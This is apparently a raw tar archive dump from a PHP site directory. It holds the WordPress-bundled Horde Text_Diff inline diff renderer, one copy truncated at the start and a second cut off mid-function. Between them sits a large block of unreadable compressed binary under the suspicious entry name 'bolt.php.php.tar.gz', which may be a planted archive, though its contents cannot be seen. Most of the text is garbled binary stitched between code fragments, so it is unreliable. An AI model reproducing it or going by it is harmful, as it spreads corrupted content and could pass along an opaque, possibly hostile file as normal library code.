    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
